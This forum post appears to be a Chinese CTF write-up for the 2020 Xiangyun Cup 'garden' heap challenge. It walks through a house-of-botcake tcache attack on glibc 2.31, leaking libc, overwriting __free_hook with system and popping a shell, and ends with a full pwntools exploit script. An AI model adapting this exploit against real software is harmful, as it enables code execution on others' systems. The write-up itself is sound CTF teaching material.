首页
社区
课程
招聘
[原创]2020祥云杯garden(house of botcake++)
2022-3-1 12:15 16637

[原创]2020祥云杯garden(house of botcake++)

2022-3-1 12:15
16637

关键词:2.31版本,house_of_botcake,tcache

程序描述

add

序号0-8可存储chunk,每次固定申请0x100,并且可读入0x100大小的内容。

delete

释放chunk后,将存储chunk的地方置0。

show

只能用一次show。

uaf

只能用一次,将堆块释放,但没有置零,存在uaf。

garden_name

只能用一次,申请了0x20大小的堆块。

漏洞利用

1.先将tcache填满,然后利用uaf将chunk1释放到,再show(1),就可以泄露出libc的地址。

for i in range(9):
  add(i,b'a') #0-8

for i in range(7):
  free(8-i) #d2-d8

uaf(1)
show(1)
libcbase = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']

2.释放chunk0来让chunk0和chunk1合并。利用garden_name函数,申请0x20大小的chunk,将合并的0x220堆块分割,成为了0x1f0大小的堆块。

free(0) #d0
garden_name()

3.将tcache里的chunk全部申请出来后,从0x1f0里面分割0x110大小的chunk0。然后释放chunk2,chunk1,chunk0。注意这时候指向chunk1的指针才刚被置为零,上面是uaf,所以指针没有被置为零。释放三个chunk的原因: a.为了让cout = 3,所以free3个,方便tcache的couts的检查。glibc大于2.30版本时会检查count。 b.如果只free2两个,在add(2,p64(system))的时候就会没有序号去申请第三个chunk。

for i in range(7):
  add(8-i,b'a') #2-8

add(0,b'a') #0  
free(2) #d2     
free(1) #d1
free(0) #d0

4.因为0x30的申请,所以chunk0的指针和chunk1的指针相差0xe0。所以可以通过申请chunk0时,修改到chunk1的fd,从而申请到free_hook。然后改为system。

pay1 = b'a'*0xd0 + p64(0) + p64(0x111) + p64(free_hook)
add(0,pay1)
add(1,b'/bin/sh\x00')
add(2,p64(system))
free(1)
shell()

EXP

from pwn import *
context.log_level = 'debug'
# context.arch = 'amd64'
libc = ELF('./libc-2.31.so')
file = './garden'
elf = ELF(file)
local = 1
if local:
  io = process(file)
else:
  io = remote('node4.buuoj.cn',25727)

def debug():
  gdb.attach(io)
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda name,x : log.info(name+':'+hex(x))
shell = lambda : io.interactive()

def add(idx,name):
  ru('>> ')
  sl('1')
  ru('tree index?\n')
  sl(str(idx))
  ru('tree name?\n')
  sl(name)

def show(idx):
  ru('>> ')
  sl('3')
  ru('tree index?\n')
  sl(str(idx))

def uaf(idx):
  ru('>> ')
  sl('5')
  ru('which tree do you want to steal?\n')
  sl(str(idx))

def garden_name():
  ru('>> ')
  sl('6')

def free(idx):
  ru('>> ')
  sl('2')
  ru('tree index?\n')
  sl(str(idx))

for i in range(9):
  add(i,b'a') #0-8

for i in range(7):
  free(8-i) #d2-d8

uaf(1)
show(1)
libcbase = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
li('libcbase',libcbase)
free_hook = libcbase + libc.sym['__free_hook']
one = libcbase + 0xe6e79
system = libcbase + libc.sym['system']

free(0) #d0
garden_name()


for i in range(7):
  add(8-i,b'a') #2-8

add(0,b'a') #0  
free(2) #d2     
free(1) #d1
free(0) #d0

pay1 = b'a'*0xd0 + p64(0) + p64(0x111) + p64(free_hook)
add(0,pay1)
add(1,b'/bin/sh\x00')
add(2,p64(system))
free(1)
shell()

总结

这道题利用house_of_botcake配合tcache。因为每次申请的chunk大小是固定的,所以要申请一个小chunk,来实现一个错位,然后再申请0x100来覆盖到chunk1。这道题利用思路巧妙,算是house_of_botcake的升级版吧。



链接:https://pan.baidu.com/s/1fuz_JiKBYKhPddyf1cq7kQ 

提取码:c5kk


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-6-29 10:31 被Nirvana.编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_eternity. 2022-6-26 10:32
2
0
感谢兄弟的分享
游客
登录 | 注册 方可回帖
返回